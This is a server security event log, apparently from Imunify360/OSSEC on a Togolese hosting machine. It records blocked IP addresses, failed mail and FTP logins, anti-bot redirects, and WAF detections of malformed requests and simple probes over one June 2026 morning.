abuser: 151.246.207.27
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:remaniement-ministeriel-au-togo-nouvelles-tetes-et-nouveaux-defis-pour-lexecutif/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.76.202
country_id: 1562822
description:
Jun 12 03:24:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.76.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.32.76.202
country_id: 1562822
description:
2026-06-12 03:24:19 dovecot_plain authenticator failed for H=(6wq6i6anulm7f071b0) [101.32.76.202]:20394: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 03:24:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 195.178.110.101
country_id: 732800
description:
Jun 12 03:26:43 ns5 pure-ftpd[1194553]: (?@195.178.110.101) [INFO] New connection from 195.178.110.101


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 195.178.110.101
country_id: 732800
description:
Jun 12 03:26:47 ns5 pure-ftpd[1194553]: (?@195.178.110.101) [WARNING] Authentication failed for user [anonymous]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.228.38.194
country_id: 3469034
description:
45.228.38.194 - - [12/Jun/2026:03:28:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9674652&pdata=https%253A%252F%252Feducplusmedia.tg%252F2026%252Fpage%252F2%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234914 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2026/page/2/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.9754.1393 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.228.38.194


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:03:29:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7183462&pdata=http%253A%252F%252Fdioceseatakpame.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234947 HTTP/1.1" 302 0 dioceseatakpame.tg "http://dioceseatakpame.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:03:29:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251378&pdata=http%253A%252F%252Fdioceseatakpame.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781234954 HTTP/1.1" 302 0 dioceseatakpame.tg "http://dioceseatakpame.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.198.41
country_id: 3865483
description:
Jun 12 03:31:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.198.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.228.208
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/agou-pari-gagne-pour-la-journee-nationale-du-sport/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.228.208
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/agou-pari-gagne-pour-la-journee-nationale-du-sport/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 40.192.1.155
country_id: 1269750
description:
2026-06-12 03:32:06 dovecot_plain authenticator failed for H=ec2-40-192-1-155.ap-south-2.compute.amazonaws.com (yflbdo74wpnco6vjv1y2ms) [40.192.1.155]:53330: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.186
country_id: 2921044
description:
185.220.101.186 - elmkvzcm [12/Jun/2026:03:32:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870742&pdata=https%253A%252F%252Ftdn.tg%253A2083%252Fexecute%252FDomainInfo%252Fdomains_data&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781235131 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg:2083/execute/DomainInfo/domains_data" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.186


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.107.82
country_id: 3865483
description:
Jun 12 03:32:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.107.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.72.200.48
country_id: 3077311
description:
Jun 12 03:33:52 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.72.200.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:34:06 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.136
country_id: 3469034
description:
Jun 12 03:34:11 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.136
country_id: 3469034
description:
Jun 12 03:34:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.136 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.6.15.228
country_id: 3625428
description:
190.6.15.228 - - [12/Jun/2026:03:34:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790850&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Framadan-en-cote-divoire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781235265 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ramadan-en-cote-divoire/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2311.1699 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.6.15.228


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.3
country_id: 6252001
description:
205.169.39.3 - - [12/Jun/2026:03:34:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606244&pdata=http%253A%252F%252Fdioceseatakpame.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781235266 HTTP/1.1" 302 0 dioceseatakpame.tg "http://dioceseatakpame.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.3


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:36:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.39
country_id: 2750405
description:
Jun 12 03:37:06 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.39
country_id: 2750405
description:
2026-06-12 03:37:08 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.39]:59856: 535 Incorrect authentication data (set_id=seee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:40:30 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 03:40:39 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.174.198.81
country_id: 3469034
description:
Jun 12 03:41:51 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.174.198.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.174.198.81
country_id: 3469034
description:
2026-06-12 03:41:53 dovecot_plain authenticator failed for H=(nf8j9rxl4m8uq6dobfio78xr) [200.174.198.81]:63040: 535 Incorrect authentication data (set_id=contact@emt.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.55
country_id: 1512440
description:
2026-06-12 03:43:45 H=([213.230.87.55]) [213.230.87.55]:37149 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:43:50 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.243.2.9
country_id: 1643084
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/afrique-subsaharienne-la-croissance-devrait-se-moderer-pour-setablir-a-32-en-2023-puis-remonter-a-39-en-2024/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 180.243.2.9
country_id: 1643084
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/afrique-subsaharienne-la-croissance-devrait-se-moderer-pour-setablir-a-32-en-2023-puis-remonter-a-39-en-2024/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.16.26
country_id: 1562822
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/rich-minsi-aw-2016-collection/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.229.225.21
country_id: 1562822
domain: fbafrica.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fbafrica.com/2015/05/29/b-side-by-wale-ss-2015-faded-weekend HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:49:59 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:53:14 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 03:53:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.87.55
country_id: 1512440
description:
2026-06-12 03:53:24 H=([213.230.87.55]) [213.230.87.55]:33806 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 03:56:55 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:01:36 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [12/Jun/2026:04:01:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13079449&pdata=http%253A%252F%252Fgfcusr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781236901 HTTP/1.1" 302 0 gfcusr.mediatopnews.tg "http://gfcusr.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 04:03:15 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:02:25 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.7.187.182
country_id: 3469034
description:
Jun 12 04:03:23 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.7.187.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 12 04:03:42 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.111.93.142
country_id: 6252001
domain: civilemagazine.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:142.111.93.142||TA:142.111.93.142||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 102.129.234.217
country_id: 6252001
domain: www.tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.58.100.185
country_id: 6252001
domain: 34.217.47.154
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/34.217.47.154/azenv3.php HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 12 04:12:06 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 04:12:05 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.51.44.46
country_id: 798544
description:
Jun 12 04:12:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.51.44.46 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 173.239.216.77
country_id: 2658434
description:
Jun 12 04:12:13 ns5 pure-ftpd[1224127]: (?@173.239.216.77) [INFO] New connection from 173.239.216.77


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.252.93.59
country_id: 1269750
description:
Jun 12 04:12:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.252.93.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:12:40 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 04:12:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 12 04:12:30 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.141.193.42
country_id: 1835841
description:
Jun 12 04:12:38 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.141.193.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 12 04:13:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.172.43.116
country_id: 1814991
description:
Jun 12 04:12:56 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.172.43.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 12 04:12:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 12 04:12:31 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 12 04:12:53 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.103.253.188
country_id: 1820814
description:
Jun 12 04:13:10 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.103.253.188 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 173.239.216.77
country_id: 2658434
description:
Jun 12 04:12:18 ns5 pure-ftpd[1224127]: (?@173.239.216.77) [WARNING] Authentication failed for user [yvwaocrr]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 156.229.160.103
country_id: 6252001
description:
2026-06-12 04:14:06 dovecot_plain authenticator failed for H=(za0xrblledjdicikm3z2nrdx) [156.229.160.103]:34020: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.126
country_id: 3865483
description:
Jun 12 04:14:07 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.247.110.24
country_id: 1269750
description:
Jun 12 04:13:38 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.247.110.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 12 04:13:44 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.126
country_id: 3865483
description:
Jun 12 04:14:22 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 04:16:15 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 12 04:15:27 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.250.215.200
country_id: 1668284
description:
Jun 12 04:15:49 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.250.215.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:19:12 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:19:20 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:04:20:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066840&pdata=http%253A%252F%252Fqx0gfv.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781238012 HTTP/1.1" 302 0 qx0gfv.mediatopnews.tg "http://qx0gfv.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:20:24 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.84.222.25
country_id: 2750405
description:
Jun 12 04:20:57 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.84.222.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.84.222.25
country_id: 2750405
description:
2026-06-12 04:20:59 dovecot_plain authenticator failed for H=(l0sjb5us4eax2jgyg6zkji0r3kmk) [45.84.222.25]:60884: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.164
country_id: 1880251
description:
47.128.96.164 - - [12/Jun/2026:04:20:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919831&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Femmanuella%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781238057 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/emmanuella/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.164


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.50
country_id: 6252001
description:
205.169.39.50 - - [12/Jun/2026:04:24:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328681&pdata=http%253A%252F%252Fqx0gfv.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781238262 HTTP/1.1" 302 0 qx0gfv.mediatopnews.tg "http://qx0gfv.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.50


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.87.128
country_id: 3469034
description:
Jun 12 04:27:54 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.87.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 12 04:29:35 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun 12 04:31:32 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-12 04:31:34 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:50892: 535 Incorrect authentication data (set_id=git)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:33:17 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 12 04:33:26 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.39
country_id: 2750405
description:
Jun 12 04:37:03 ns5 auth[1110150]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.148.10.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.148.10.39
country_id: 2750405
description:
2026-06-12 04:37:05 dovecot_login authenticator failed for H=(WIN-JKGVN7T4E72) [45.148.10.39]:56313: 535 Incorrect authentication data (set_id=seee)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.245.202
country_id: 2921044
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-login.php HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
